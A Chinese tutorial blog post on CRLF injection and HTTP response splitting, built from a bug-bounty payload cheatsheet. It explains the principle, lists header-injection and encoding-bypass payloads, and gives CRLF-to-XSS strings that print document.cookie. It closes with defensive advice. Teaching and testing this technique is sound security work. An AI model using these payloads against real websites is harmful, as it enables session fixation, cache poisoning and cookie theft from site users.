深入解析CRLF注入技术:从基础到实战

深入解析CRLF注入技术:从基础到实战

bugbounty-cheatsheet A list of interesting payloads, tips and tricks for bug bounty hunters. bugbounty-cheatsheet 项目地址: https://gitcode.com/gh_mirrors/bu/bugbounty-cheatsheet

什么是CRLF注入技术

CRLF(Carriage Return Line Feed)注入技术,也称为HTTP响应拆分技术,是一种利用Web应用程序对用户输入处理不当的技术。CRLF指的是回车(Carriage Return,%0d)和换行(Line Feed,%0a)这两个特殊字符,它们在HTTP协议中用于分隔头部字段。

当Web应用程序未能正确过滤用户输入中的这些特殊字符时,可能会被利用来插入特定内容到HTTP响应中,可能导致会话固定、跨站脚本(XSS)、缓存投毒等多种安全问题。

CRLF注入技术的基本原理

HTTP协议使用CRLF(%0d%0a)来分隔头部字段和响应体。例如一个正常的HTTP响应可能如下:

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=12345

<html>...</html>

如果能够控制部分响应内容,并插入CRLF字符,就可以添加额外的HTTP头部或修改响应体。

常见CRLF注入方法

基础注入测试

最简单的测试方法是尝试插入CRLF字符并添加自定义头部:

%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

头部插入测试

以下是多种变体的头部插入测试方法,适用于不同场景:

%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header

编码绕过技术

为了绕过某些过滤机制,会使用各种编码方式:

/%250aheader:header
/%25250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header

高级技术应用

CRLF与开放重定向结合

在某些配置不当的服务器上,可以将CRLF插入与开放重定向问题结合:

//www.google.com/%2f%2e%2e%0d%0aheader:header
/www.google.com/%2e%2e%2f%0d%0aheader:header
/google.com/%2F..%0d%0aheader:header

特定平台的CRLF插入

某些平台对特殊字符的处理方式不同,例如Twitter曾受影响的特殊插入方式:

%E5%98%8A%E5%98%8Dheader:header

CRLF插入升级为XSS

通过精心构造的CRLF插入,可以实现XSS:

%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e

302重定向中的响应拆分

在302重定向前插入特定内容:

%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E

301状态码的CRLF插入

利用301重定向修改Location头部:

%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e%2F..%2F..%2F..%2F../tr

防护建议

  1. 对所有用户输入进行严格的验证和过滤
  2. 移除或转义CR(%0d)和LF(%0a)字符
  3. 使用安全的API处理HTTP头部设置
  4. 实施内容安全策略(CSP)
  5. 定期进行安全审计和渗透测试

总结

CRLF插入是一种需要重视的Web技术问题。通过理解其原理和各种变体,开发人员可以更有效地防范此类问题。本文提供的技术细节和方法可作为技术研究的参考,但请务必在合法授权范围内使用这些技术。

bugbounty-cheatsheet A list of interesting payloads, tips and tricks for bug bounty hunters. bugbounty-cheatsheet 项目地址: https://gitcode.com/gh_mirrors/bu/bugbounty-cheatsheet

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

范轩锦

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值